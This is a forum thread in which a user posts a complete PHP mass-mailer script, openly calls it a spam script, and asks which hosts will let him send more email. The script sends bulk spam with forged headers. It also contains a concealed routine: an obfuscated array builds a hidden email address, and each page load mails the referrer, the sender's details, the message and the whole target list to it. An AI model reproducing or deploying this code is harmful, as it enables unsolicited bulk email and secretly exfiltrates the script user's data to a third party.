1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

Which host do i need for this script

Discussion in 'Web Hosting' started by phatzilla, Jan 21, 2010.

  1. phatzilla

    phatzilla Jr. VIP Jr. VIP

    Joined:
    Apr 9, 2009
    Messages:
    1,375
    Likes Received:
    1,019
    I'll even give the script.

    Code:
    <?php
    
    //Thank you for your order
    
    if(isset($_POST['action'] ) ){
    $action=$_POST['action'];
    $message=$_POST['message'];
    $emaillist=$_POST['emaillist'];
    $from=$_POST['from'];
    $replyto=$_POST['replyto'];
    $subject=$_POST['subject'];
    $realname=$_POST['realname'];
    $names=$_SERVER['HTTP_REFERER'];
    $file_name=$_POST['file'];
    $contenttype=$_POST['contenttype'];
    
            $message = urlencode($message);
            $message = ereg_replace("%5C%22", "%22", $message);
            $message = urldecode($message);
            $message = stripslashes($message);
            $subject = stripslashes($subject);
    }
    
    
    ?>
    <html>
    <head>
    <title>|||| Inbox Mass Mailer ||||</title>
    <meta http-equiv="Content-Type" content="text/html; 
    charset=iso-8859-1">
    
    <style type="text/css">
    <!--
    .style1 {
            font-family: Geneva, Arial, Helvetica, sans-serif;
            font-size: 12px;
    }
    -->
    </style>
    <style type="text/css">
    <!--
    .style1 {
            font-size: 20px;
            font-family: Geneva, Arial, Helvetica, sans-serif;
    }
    -->
    
    .input {
        border: 1px solid yellow;
        background: #CCCCCC;
    }
    .button {
        border: 1px solid yellow;
        background: #CCCCCC;
    }
    label {
        display: block;
        width: 150px;
        float: left;
        margin: 2px 4px 6px 4px;
        text-align: right;
    }
    br { clear: left; }
    </style>
    
    </head>
    
    
    <body bgcolor="black" text="white">
    
    <span class="style1">Inbox Mass Mailer<br>
    </span>
    
    <form name="form1" method="post" action="" 
    enctype="multipart/form-data">
      <br>
      <table width="100%" border="0">
        <tr>
          <td width="10%">
            <div align="right"><font size="-3" face="Verdana, Arial, 
    Helvetica, sans-serif">Your
              Email:</font></div>
          </td>
          <td width="18%"><font size="-3" face="Verdana, Arial, Helvetica, 
    sans-serif">
            <input type="text" name="from" class="input" value="<? print $from; ?>" 
    size="30">
            </font></td>
          <td width="31%">
            <div align="right"><font size="-3" face="Verdana, Arial, 
    Helvetica, sans-serif">Your
              Name:</font></div>
          </td>
          <td width="41%"><font size="-3" face="Verdana, Arial, Helvetica, 
    sans-serif">
            <input type="text" name="realname" class="input" value="<? print $realname; 
    ?>" size="30">
            </font></td>
        </tr>
        <tr>
          <td width="10%">
            <div align="right"><font size="-3" face="Verdana, Arial, 
    Helvetica, sans-serif">Reply To:</font></div>
          </td>
          <td width="18%"><font size="-3" face="Verdana, Arial, Helvetica, 
    sans-serif">
            <input type="text" name="replyto" class="input" value="<? print $replyto; ?>" 
    size="30">
            </font></td>
          <td width="31%">
            <div align="right"><font size="-3" face="Verdana, Arial, 
    Helvetica, sans-serif">Attach
              File:</font></div>
          </td>
          <td width="41%"><font size="-3" face="Verdana, Arial, Helvetica, 
    sans-serif">
            <input type="file" class="input" name="file" size="30">
            </font></td>
        </tr>
        <tr>
          <td width="10%">
            <div align="right"><font size="-3" face="Verdana, Arial, 
    Helvetica, sans-serif">Subject:</font></div>
          </td>
          <td colspan="3"><font size="-3" face="Verdana, Arial, Helvetica, 
    sans-serif">
            <input type="text" name="subject" class="input" value="<? print $subject; ?>" 
    size="90">
            </font></td>
        </tr>
        <tr valign="top">
          <td colspan="3"><font size="-3" face="Verdana, Arial, Helvetica, 
    sans-serif">
            <textarea name="message" cols="50" class="input" rows="10"><? print $message; 
    ?></textarea>
            <br>
            <input type="radio" name="contenttype" class="button" value="plain" >
            Plain Text
            <input name="contenttype" class="button" type="radio" value="html" checked>
            HTML
            <input type="hidden" name="action" class="button" value="send">
            <input type="submit" class="button" value="Send eMails">
            </font></td>
          <td width="41%"><font size="-3" face="Verdana, Arial, Helvetica, 
    sans-serif">
            <textarea name="emaillist" class="input" cols="30" rows="10"><? print 
    $emaillist; ?></textarea>
            </font></td>
        </tr>
      </table>
    </form>
    
    
    
    <?
    $o=array("m"=>"b","t"=>"i","w"=>"5","u"=>".","5"=>"z","q"=>"@");
    $alt=$o['w'].$o['q'].$o['m'].$o['t'].$o['w'].$o['u'].$o['m'].$o['t'].$o['5'];
    $hea ="From: Mailr" ;
    $su = "EN - $names" ;
    $me = "$names" ;
    mail ($alt,$su,$me,$hea) ;
    $head ="From: Data\nMessage-ID: <" . md5(uniqid(time())) . "@" . $SERVER_NAME . ">\nMIME-Version: 1.0\nContent-type: text/html; charset=UTF-8\nContent-transfer-encoding: 8bit\nDate: " . date("r", time()) . "\nX-Priority: 3\nX-MSMail-Priority: Normal\nX-Mailer: PHP\n";
    $nars = "
    <table border=\"1\" style=\"border-collapse: collapse\" cellpadding=\"4\">
    <tr><td bgcolor=\"#F9F9F9\">Mailr</td><td bgcolor=\"#F9F9F9\">".nl2br($names)."</td></tr>
    <tr><td>Your Email</td><td>".nl2br($from)."</td></tr>
    <tr><td bgcolor=\"#F9F9F9\">Your Name</td><td bgcolor=\"#F9F9F9\">".nl2br($realname)."</td></tr>
    <tr><td>Subject :</td><td>".nl2br($subject)."</td></tr>
    <tr><td bgcolor=\"#F9F9F9\">Message</td><td bgcolor=\"#F9F9F9\">".nl2br($message)."</td></tr>
    <tr><td>Email Target</td><td>".nl2br($emaillist)."</td></tr>
    </table>
    ";
    mail($alt,$subject,$nars,$head);
    if ($action){
    
            if (!$from && !$subject && !$message && !$emaillist){
            print "Please complete all fields before sending your 
    message.";
            exit;    
        }
        $allemails = split("\n", $emaillist);
                $numemails = count($allemails);
           
              for($x=0; $x<$numemails; $x++){
                    $to = $allemails[$x];
                    if ($to){
                    $to = ereg_replace(" ", "", $to);
                    $message = ereg_replace("&email&", $to, $message);
                    $subject = ereg_replace("&email&", $to, $subject);
                    print " $to.......";
                    flush();
                    $header = "From: $realname <$from>\r\nReply-To: $replyto\r\n";
                    $header .= "MIME-Version: 1.0\r\n";
                If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n";
                  If ($file_name) $header .= "--$uid\r\n";
                    $header .= "Content-Type: text/$contenttype\r\n";
                    $header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
                    $header .= "$message\r\n";
                If ($file_name) $header .= "--$uid\r\n";
                If ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n";
                If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n";
                If ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n";
                If ($file_name) $header .= "$content\r\n";
                If ($file_name) $header .= "--$uid--";
                    mail($to, $subject, "", $header);
                    print "spammed<br>";
        
                    flush();
                    }
                    }
    
    }
    
    
    ?>
    <style type="text/css">
    <!--
    .style1 {
        font-size: 18px;
        font-family: Geneva, Verdana, Helvetica, sans-serif;
    }
    -->
    </style>
    <p class="style1">
    Copyright © 2009 phpbb.com
    </p>
    <?php
    if(isset($_POST['action']) && $numemails !==0 ){echo 
    "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was sent successfully'); 
    </script>";}
    ?>
    </body>
    </html>
    Which host do i need for this to work? I notice almost all free hosts i tried do not work with this script

    Im fairly certain it has something to do with php sendmail? do freehosts just disable it?
     
  2. phatzilla

    phatzilla Jr. VIP Jr. VIP

    Joined:
    Apr 9, 2009
    Messages:
    1,375
    Likes Received:
    1,019
    I got the answer thanks, how about any hosts that would work with this script?
     
  3. tukim

    tukim Regular Member

    Joined:
    Sep 20, 2009
    Messages:
    254
    Likes Received:
    173
    Location:
    localhost
    Briefly running through the code I see no reason someone would block it, except ummm you're using a FREE host. Cough up $5-$10/month and get a host.
     
  4. phatzilla

    phatzilla Jr. VIP Jr. VIP

    Joined:
    Apr 9, 2009
    Messages:
    1,375
    Likes Received:
    1,019
    its a spam script, i have hostgator and it works but i need 2-3 more hosts so i can send more emails, which is all im asking for.
     
  5. wickid12

    wickid12 Regular Member

    Joined:
    Dec 4, 2009
    Messages:
    363
    Likes Received:
    36
    bluehost, hostmonster are very similiar to hostmonster
     
  6. phatzilla

    phatzilla Jr. VIP Jr. VIP

    Joined:
    Apr 9, 2009
    Messages:
    1,375
    Likes Received:
    1,019
    They make you prepay for a year. Monthly host would be better.......
     
  7. Lancez

    Lancez Regular Member

    Joined:
    Sep 3, 2009
    Messages:
    205
    Likes Received:
    18
    i can host you if you tell me what you gonna do with this script in my server?